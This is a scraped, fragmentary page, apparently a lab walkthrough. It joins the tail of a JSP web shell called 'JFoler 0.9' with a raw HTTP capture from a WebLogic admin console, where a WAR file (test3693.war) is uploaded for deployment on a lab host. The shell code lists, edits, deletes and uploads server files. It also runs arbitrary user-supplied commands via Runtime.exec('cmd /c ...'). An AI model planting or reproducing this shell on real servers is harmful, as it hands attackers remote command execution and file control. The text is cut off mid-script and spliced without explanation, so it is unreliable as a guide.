initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}
if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload
</script>
<script language="javascript">
function doForm(action,path,file,cmd,tab,content)
{
document.frmCqq.action.value=action;
document.frmCqq.path.value=path;
document.frmCqq.file.value=file;
document.frmCqq.cmd.value=cmd;
document.frmCqq.tabID.value=tab;
document.frmCqq.content.value=content;
if(action=="del")
{
if(confirm("确定要删除文件 "+file+" 吗?"))
document.frmCqq.submit();
}
else
{
document.frmCqq.submit();
}
}
</script>
<title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>
<head>
<body>
<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>
<!--Top Menu Started-->
<ul id="tablist">
<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
<%=authorInfo[languageNo]%>
</ul>
<!--Top Menu End-->
<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
}
for(int i=0;i<list.length;i++)
{
if(list[i].isDirectory())
{
sbFolder.append("<tr><td > </td><td>");
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
}
else
{
String strLen="";
String strDT="";
long lFile=0;
lFile=list[i].length();
strLen = convertFileSize(lFile);
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append("<tr onm ouseover=\"this.style.backgroundColor='#FBFFC6'\" onm ouseout=\"this.style.backgroundColor='white'\"><td>");
sbFile.append(""+list[i].getName());
sbFile.append("</td><td>");
sbFile.append(""+strLen);
sbFile.append("</td><td>");
sbFile.append(""+strDT);
sbFile.append("</td><td>");
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileEdit[languageNo]+"</a> ");
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDel[languageNo]+"</a> ");
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDown[languageNo]+"</a> ");
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileCopy[languageNo]+"</a> ");
}
}
}
catch(Exception e)
{
out.println("<font color=red>操作失败: "+e.toString()+"</font>");
}
%>
<DIV id="tabcontentcontainer">
<div id="menu3" class="tabcontent">
<br>
<br> 未完成
<br>
<br>
</div>
<div id="menu4" class="tabcontent">
<br>
<p>一、功能说明</p>
<p> jsp 版本的文件管理器,通过该程序可以远程管理服务器上的文件系统,您可以新建、修改、</p>
<p>删除、下载文件和目录。对于windows系统,还提供了命令行窗口的功能,可以运行一些程序,类似</p>
<p>与windows的cmd。</p>
<p> </p>
<p>二、测试</p>
<p> <b>请大家在使用过程中,有任何问题,意见或者建议都可以给我留言,以便使这个程序更加完善和稳定,<p>
留言地址为:<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
<p> </p>
<p>三、更新记录</p>
<p> 2004.11.15 V0.9测试版发布,增加了一些基本的功能,文件编辑、复制、删除、下载、上传以及新建文件目录功能</p>
<p> 2004.10.27 暂时定为0.6版吧, 提供了目录文件浏览功能 和 cmd功能</p>
<p> 2004.09.20 第一个jsp 程序就是这个简单的显示目录文件的小程序</p>
<p> </p>
<p> </p>
</div>
<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
<tr>
<td width="25%" align="center" valign="top">
<table width="98%" border="0" cellspacing="0" cellpadding="3">
<%=sbFolder%>
</tr>
</table>
</td>
<td width="81%" align="left" valign="top">
<%
if(strAction!=null && strAction.equals("edit"))
{
out.println(sbEdit.toString());
}
else if(strAction!=null && strAction.equals("copy"))
{
out.println(sbCopy.toString());
}
else if(strAction!=null && strAction.equals("down"))
{
out.println(sbDown.toString());
}
else if(strAction!=null && strAction.equals("savecopy"))
{
out.println(sbSaveCopy.toString());
}
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
{
out.println(sbNewFile.toString());
}
else
{
%>
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
<tr bgcolor="#E7e7e6">
<td width="26%"><%=strFileName[languageNo]%></td>
<td width="19%"><%=strFileSize[languageNo]%></td>
<td width="29%"><%=strLastModified[languageNo]%></td>
<td width="26%"><%=strFileOperation[languageNo]%></td>
</tr>
<%=sbFile%>
<!-- <tr align="center">
<td colspan="4"><br>
总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>
KB </td>
</tr>
-->
</table>
</span>
<%
}
%>
</td>
</tr>
<form name="frmMake" action="" method="post">
<tr><td colspan=2 bgcolor=#FBFFC6>
<input type="hidden" name="action" value="newFile">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<%
if(!strDir.endsWith("\\"))
strDir = strDir + "\\";
%>
<input type="text" name="fileName" size=36 value="<%=strDir%>">
<input type="submit" name="btnNewFile" value="新建文件" onclick="frmMake.submit()" >
<input type="submit" name="btnNewDir" value="新建目录" onclick="frmMake.submit()" >
</form>
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<input type="file" name="cqqUploadFile" size="36">
<input type="submit" name="submit" value="上传">
</td></tr></form>
</table>
</div>
<div id="menu2" class="tabcontent">
<%
String line="";
StringBuffer sbCmd=new StringBuffer("");
if(strCmd!=null)
{
try
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
{
sbCmd.append(line+"\r\n");
}
}
catch(Exception e)
{
System.out.println(e.toString());
}
}
else
{
strCmd = "set";
}
%>
<form name="cmd" action="" method="post">
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>
<%
}
%>
</DIV>
</div>
<br><br>
<center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.
<br>Any question, please email me cqq1978@Gmail.com
![](https://www.icode9.com/i/l/?n=20&i=blog/1630201/202102/1630201-20210222164728022-1677176904.png)
-----------------------------8434166712903
Content-Disposition: form-data; name="AppApplicationInstallPortletuploadPlanPath"; filename=""
Content-Type: application/octet-stream
-----------------------------8434166712903
Content-Disposition: form-data; name="AppApplicationInstallPortletfrsc"
0x062430ecab863931868d682e81a64437e4490c23def60129
-----------------------------8434166712903--
HTTP/1.1 200 OK
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Connection: close
Date: Mon, 22 Feb 2021 06:20:53 GMT
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: en-US
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 37476
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Script-Type" content="text/javascript"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Install Application Assistant - base_domain - WLS Console</title><link rel="stylesheet" type="text/css" href="/console/framework/skeletons/wlsconsole/css/layout.css"><script src="/console/framework/skeletons/wlsconsole/js/buttons.js" type="text/javascript"></script><script src="/console/framework/skeletons/wlsconsole/js/util.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/general.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/menu.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/window.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/console.css"><link rel="stylesheet" type="text/css" href="/console/css/content.css"><script src="/console/javascript/consoleUtil.js" type="text/javascript"></script><script src="/console/javascript/console-help.js" type="text/javascript"></script><script src="/console/javascript/recorder.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/changemgmt.css"><link rel="stylesheet" type="text/css" href="/console/css/forms.css"><script src="/console/javascript/changemgmt.js" type="text/javascript"></script><script src="/console/javascript/form.js" type="text/javascript"></script><script src="/console/javascript/PredicateEditor.js" type="text/javascript"></script><script src="/console/javascript/table.js" type="text/javascript"></script><script src="/console/javascript/portletrefresh.js" type="text/javascript"></script><script src="/console/javascript/ButtonMenu.js" type="text/javascript"></script><script src="/console/javascript/chooser.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/navtree.css"><script src="/console/javascript/tree.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/quicklinks.css"><link rel="stylesheet" type="text/css" href="/console/css/systemstatus.css"></head><body><div class="wlsc-header"><div id="console-header-logo"><a href="#repetitive_links"><img src="images/spacer.gif" alt="Skip repetitive links "></a><div><a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1" title="WebLogic Server Administration Console Home"><img src="framework/skins/wlsconsole/images/Branding_WeblogicConsole.gif" id="console-title" alt="WebLogic Server Administration Console Home "></a></div></div><div id="global-links"><span id="pageStatus"><img src="framework/skins/wlsconsole/images/pageIdle.gif" id="pageIdle" title="Idle" alt="Idle"><img src="framework/skins/wlsconsole/images/pageBusy.gif" id="pageBusy" title="Busy" alt="Busy"></span></div><div id="header-trans"><img src="framework/skins/wlsconsole/images/gradient-white-none.png" alt=""></div></div><div id="Home" class="wlsc-book"><div class="wlsc-book-content"><div id="page" class="wlsc-page"><div class="wlsc-2col-layout"><div id="console-content-col"><div id="console-content-col-inner"><div id="ToolbarBook" class="none"><div class="wlsc-book-content"><div id="ToolbarPage" class="wlsc-page"><div id="portlet_toolbar" class="wlsc-window "><div class="wlsc-window-content">
<script type="text/javascript">
wls.console.pageHelpURL = null;
wls.console.pageHelpKey = 'J2EEappinstalltitle';
</script>
<script type="text/javascript">
wls.console.recordState = {
contextRoot: "/console",
prompt: false,
recordingStarted: false
};
</script>
<div class="toolbar">
<div class="toolbar-menu">
<div class="tbframe">
<div class="tbframeTop"><div><div> </div></div></div>
<div id="topMenu" class="tbframeContent">
<ul>
<li class="first">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1"
title="WebLogic Server Administration Console Home">
<img src="images/home_ena.gif"
alt="WebLogic Server Administration Console Home ">
Home
</a>
</li>
<li>
<a href="/console/jsp/common/warnuserlockheld.jsp">
Log Out
</a>
</li>
<li>
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=UserPreferencesPageGeneral">
Preferences
</a>
</li>
<li>
<a href="#" onclick="return wls.console.startAdHocRecord('frsc','0x062430ecab863931868d682e81a64437e4490c23def60129');" id="recordLink" title="Start Recording">
<img id="recordingIcon" src="images/recording.gif"
alt="Start Recording ">
Record
</a>
</li>
<li>
<a href="#" onclick="return wls.console.launchHelp()"
title="Help - New window">
Help
</a>
</li>
</ul>
</div>
<div class="tbframeBottom"><div><div> </div></div></div>
</div>
</div>
<div id="topSearch" class="toolbar-menu">
<div class="tbframe">
<div class="tbframeTop"><div><div> </div></div></div>
<div class="tbframeContent">
<ul>
<li class="first">
<form name="mbeanSearchForm" method="POST" action="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=MBeanSearchPage">
<label class="screenReadersOnly" for="toolbarSearchInput">Search</label>
<input type="text" id="toolbarSearchInput" name="MBeanSearchPortletsearchString" size="11" value="" class="toolbar-search">
<button type="button" class="formButton" onclick="this.form.submit();return false;" name="search" title="Search">
<span class="icon search"> </span><span style="display: none;">Search</span>
</button>
<input type="hidden" name="_nfpb" value="true">
<input type="hidden" name="MBeanSearchPortlet_actionOverride" value="/mbeansearch/DisplayResultsAction">
<input type="hidden" name="_windowLabel" value="MBeanSearchPortlet">
</form>
</li>
</ul>
</div>
<div class="tbframeBottom"><div><div> </div></div></div>
</div>
</div>
<div class="toolbar-info">
<div class="tbframe">
<div class="tbframeTop"><div><div> </div></div></div>
<div class="tbframeContent">
<div id="welcome">
<p>Welcome,
weblogic</p>
</div>
<div id="domain">
<p>Connected to:
<strong>base_domain</strong></p>
</div>
</div>
<div class="tbframeBottom"><div><div> </div></div></div>
</div>
</div>
</div>
</div></div></div></div></div><div id="LocationContextBook" class="none"><div class="wlsc-book-content"><div id="LocationContextPage" class="wlsc-page"><div id="portlet_history" class="wlsc-window "><div class="wlsc-window-content"><div class="breadcrumbs"><a href="/console/console.portal?_nfpb=true&_pageLabel=HomePage1">Home</a> ><span class="bclast">Summary of Deployments</span></div><a name="repetitive_links"><img src="images/spacer.gif" alt="End of repetitive links "></a></div></div></div></div></div><div id="WorkpaceMessagesBook" class="none"><div class="wlsc-book-content"><div id="WorkpaceMessagesPage" class="wlsc-page"><div id="portlet_messages" class="wlsc-window "><div class="wlsc-window-content"><!--messages-region-start--><div id="asyncmessages"><noscript><span class="message_ERROR">JavaScript is required. Enable JavaScript to use WebLogic Administration Console.</span></noscript><div class="messagesbox tbframe"><div class="tbframeTop"><div><div> </div></div></div><div class="tbframeContent"><h1 class="messagestitle">Messages</h1><div class="message"><img src="images/checkmark_status.gif" alt="Message icon - Success "><span class="message_SUCCESS">The file test3693.war has been uploaded successfully to /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload</span></div></div><div class="tbframeBottom"><div><div> </div></div></div></div></div><!--messages-region-end--></div></div></div></div></div><div id="console-content-area" class="none"><div class="wlsc-book-content"><div id="AppApplicationInstall" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-book-content"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h1>Install Application Assistant</h1></div><div class="wlsc-titlebar-button-panel"> </div></div></div><div id="AppApplicationInstallPage" class="page-assistant"><div id="AppApplicationInstallPortlet" class="wlsc-window "><div class="wlsc-window-content">
<div class="contenttable"><div class="upperButtonBar">
<div class="buttonBar">
<button type='button' name='Back' disabled="disabled" class="formButton-disabled">Back</button> 
<button type='button' onclick='disableButtons();nextAction("/com/bea/console/actions/app/install/appSelected");return false;' name='Next' class="formButton">Next</button> 
<img src='images/buttonSeparator.gif' alt=''/>
<button type='button' name='Finish' disabled="disabled" class="formButton-disabled">Finish</button> 
<img src='images/buttonSeparator.gif' alt=''/>
<button type='button' onclick='disableButtons();nextAction("/com/bea/console/actions/app/install/cancel");return false;' name='Cancel' class="formButton">Cancel</button> 
</div><script type='text/javascript'>
wls.console.registerDefaultFormAction('unknown', function() {disableButtons();nextAction("/com/bea/console/actions/app/install/appSelected");});</script>
</div><div class="stepTitle">
Locate deployment to install and prepare for deployment
</div><div class="stepIntro">
Select the file path that represents the application root directory, archive file, exploded archive directory, or application module descriptor that you want to install. You can also enter the path of the application directory or file in the Path field. <br/><br/><b>Note:</b> Only valid file paths are displayed below. If you cannot find your deployment files, <a href='#' onclick='nextAction("/com/bea/console/actions/app/install/selectUploadApp"); return false;'>upload your file(s)</a> and/or confirm that your application contains the required deployment descriptors.
</div>
<script type="text/javascript">function nextAction(actionName){doNextAction(document.form, document.form.action + '?AppApplicationInstallPortlet_actionOverride=' + actionName);}</script><form name="form" method="post" action="http://192.168.52.128:7001/console/console.portal" onsubmit="wls.console.doingSubmit();">
<table class="formTable" summary="" datatable="0">
<colgroup>
<col class="labelCol">
<col class="inputCol">
<col class="paddingCol">
</colgroup>
<tr>
<td colspan="3">
<div class="fileChooser">
<div class="fcNavigation">
<div class="ctrlRow">
<label for="formFC1">Path:</label><input type="text" name="AppApplicationInstallPortletselectedAppPath" id="formFC1" size="64" value="/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload/test3693.war">
</div>
<div class="ctrlRow">
<span class="label">Recently Used Paths:</span>
<ul>
<li>(none)</li>
</ul>
</div>
<div class="ctrlRow">
<span class="label">Current Location: </span>
<div class="pathNav">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage&AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&AppApplicationInstallPortletFILECHOOSERPATH=">192.168.52.128</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage&AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&AppApplicationInstallPortletFILECHOOSERPATH=/root">root</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage&AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle">Oracle</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage&AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware">Middleware</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage&AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects">user_projects</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage&AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects/domains">domains</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage&AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects/domains/base_domain">base_domain</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage&AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects/domains/base_domain/servers">servers</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage&AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer">AdminServer</a> / upload</div>
</div>
</div>
<ul>
<li>
<div class="sel"> <input type="radio" name="AppApplicationInstallPortletselectedAppPath" id="formFC2" value="/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload/test3693.war" checked onclick="wls.console.fcUpdatePath(this, "formFC1")">
</div>
<div class="name">
<label for="formFC2"><img alt="WAR file " title="WAR file" src="/console/images/deployment/war.gif">test3693.war</label>
</div>
</li>
</ul>
</div>
</td>
</tr>
</table>
<div>
<input type="hidden" name="AppApplicationInstallPortletfrsc" id="AppApplicationInstallPortletfrsc" value="0x062430ecab863931868d682e81a64437e4490c23def60129"><script type="text/javascript">wls.console.warnOnUnsavedChanges(document.form,"You have unsaved changes. To save your changes press Cancel to stay on this page. You can then complete your changes and save them.");
document.form.onkeypress = wls.console.enterHandler;
function changeCenterCheck(){
return wls.console.checkForUnsavedChanges(document.form,"You have unsaved changes. Press OK to ignore the changes and continue with the Change Center action. To save your changes press Cancel to stay on this page. You can then complete your changes and save them.");
}</script>
</div>
</form>
<div class="lowerButtonBar">
<div class="buttonBar">
<button type='button' name='Back' disabled="disabled" class="formButton-disabled">Back</button> 
<button type='button' onclick='disableButtons();nextAction("/com/bea/console/actions/app/install/appSelected");return false;' name='Next' class="formButton">Next</button> 
<img src='images/buttonSeparator.gif' alt=''/>
<button type='button' name='Finish' disabled="disabled" class="formButton-disabled">Finish</button> 
<img src='images/buttonSeparator.gif' alt=''/>
<button type='button' onclick='disableButtons();nextAction("/com/bea/console/actions/app/install/cancel");return false;' name='Cancel' class="formButton">Cancel</button> 
</div><script type='text/javascript'>
wls.console.registerDefaultFormAction('unknown', function() {disableButtons();nextAction("/com/bea/console/actions/app/install/appSelected");});</script>
</div></div></div></div></div></div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div></div><div id="console-nav-col"><div id="ChangeManagerBook" class="none"><div class="wlsc-book-content"><div id="ChangeManagerPage" class="wlsc-page"><div id="ChangeManagerPortlet" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>Change Center</h2></div><div class="wlsc-titlebar-button-panel"> </div></div></div><div class="wlsc-window-content">
<p class="changelink"><a href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=ChangeManagementPage'>
View changes and restarts</a></p>
<p class="changeliststatus">
Configuration editing is enabled. Future changes will automatically be activated as you modify, add or delete items in this domain.
</p>
<form name="changecenterform" action="/console/console.portal" method="POST"><div>
<input type="hidden" name="ChangeManagerPortlet_actionOverride">
<input type="hidden" name="changeCenter" value="ChangeCenterClicked">
<input type="hidden" name="_nfpb" value="true">
<input type="hidden" name="_pageLabel" value="HomeReserved">
<input type="hidden" name="ChangeManagerPortletreturnTo" value="">
<input type="hidden" name="ChangeManagerPortletfrsc" value="0x062430ecab863931868d682e81a64437e4490c23def60129">
</div></form>
</div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div><div id="NavigationBook" class="none"><div class="wlsc-book-content"><div id="NavigationPage" class="wlsc-page"><div id="NavTree" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>Domain Structure</h2></div><div class="wlsc-titlebar-button-panel"> </div></div></div><div class="wlsc-window-content">
<div class="nav-tree-container">
<script src='javascript/treestate.js' type='text/javascript'>//</script>
<script type='text/javascript'> if (req != null) isLocal = true;
var tNodes=""; </script>
<script type="text/javascript">
document.write('<div class="JSTree">');
setBaseDirectory('utils/JStree/images/');
setTaxonomyDelimeter('.');
{
_a = new TreeNode('DomainConfigGeneralPage', null, 'base_domain', '/console/console.portal?_nfpb=true&_pageLabel=DomainConfigGeneralPage&DomainConfigGeneralPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'base_domain', false, true);
_aa = new TreeNode('EnvironmentsSummaryPage',_a, 'Environment', '/console/console.portal?_nfpb=true&_pageLabel=EnvironmentsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Environment', false, true);
_aaa = new TreeNode('CoreServerServerTablePage',_aa, 'Servers', '/console/console.portal?_nfpb=true&_pageLabel=CoreServerServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Servers', false, false);
_aaa = new TreeNode('CoreClusterClusterTablePage',_aa, 'Clusters', '/console/console.portal?_nfpb=true&_pageLabel=CoreClusterClusterTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Clusters', false, false);
_aaa = new TreeNode('CoreVirtualHostVirtualHostTablePage',_aa, 'Virtual Hosts', '/console/console.portal?_nfpb=true&_pageLabel=CoreVirtualHostVirtualHostTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Virtual Hosts', false, false);
_aaa = new TreeNode('MigratableTargetsConfigTablePage',_aa, 'Migratable Targets', '/console/console.portal?_nfpb=true&_pageLabel=MigratableTargetsConfigTablePage&MigratableTargetsConfigTablePortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'Migratable Targets', false, false);
_aaa = new TreeNode('CoherenceServersConfigPage',_aa, 'Coherence Servers', '/console/console.portal?_nfpb=true&_pageLabel=CoherenceServersConfigPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Coherence Servers', false, false);
_aaa = new TreeNode('CoherenceGlobalCoherenceClustersPage',_aa, 'Coherence Clusters', '/console/console.portal?_nfpb=true&_pageLabel=CoherenceGlobalCoherenceClustersPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Coherence Clusters', false, false);
_aaa = new TreeNode('CoreMachineMachineTablePage',_aa, 'Machines', '/console/console.portal?_nfpb=true&_pageLabel=CoreMachineMachineTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Machines', false, false);
_aaa = new TreeNode('CoreWorkManagerTable',_aa, 'Work Managers', '/console/console.portal?_nfpb=true&_pageLabel=CoreWorkManagerTable', 'images/spacer.gif', 'images/spacer.gif', null, 'Work Managers', false, false);
_aaa = new TreeNode('CoreClassesClassDeploymentTablePage',_aa, 'Startup and Shutdown Classes', '/console/console.portal?_nfpb=true&_pageLabel=CoreClassesClassDeploymentTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Startup and Shutdown Classes', false, false);
_aa = new TreeNode('AppDeploymentsControlPage',_a, 'Deployments', '/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Deployments', false, false);
_aa = new TreeNode('ServicesSummaryPage',_a, 'Services', '/console/console.portal?_nfpb=true&_pageLabel=ServicesSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Services', false, true);
_aaa = new TreeNode('ServicesJmsSummaryPage',_aa, 'Messaging', '/console/console.portal?_nfpb=true&_pageLabel=ServicesJmsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Messaging', false, true);
_aaaa = new TreeNode('JmsServerJMSServerTablePage',_aaa, 'JMS Servers', '/console/console.portal?_nfpb=true&_pageLabel=JmsServerJMSServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Servers', false, false);
_aaaa = new TreeNode('JmsSAFAgentSAFAgentTablePage',_aaa, 'Store-and-Forward Agents', '/console/console.portal?_nfpb=true&_pageLabel=JmsSAFAgentSAFAgentTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Store-and-Forward Agents', false, false);
_aaaa = new TreeNode('JmsModulesTablePage',_aaa, 'JMS Modules', '/console/console.portal?_nfpb=true&_pageLabel=JmsModulesTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Modules', false, false);
_aaaa = new TreeNode('PathServiceTablePage',_aaa, 'Path Services', '/console/console.portal?_nfpb=true&_pageLabel=PathServiceTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Path Services', false, false);
_aaaa = new TreeNode('BridgeMessagingBridgeTablePage',_aaa, 'Bridges', '/console/console.portal?_nfpb=true&_pageLabel=BridgeMessagingBridgeTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Bridges', false, true);
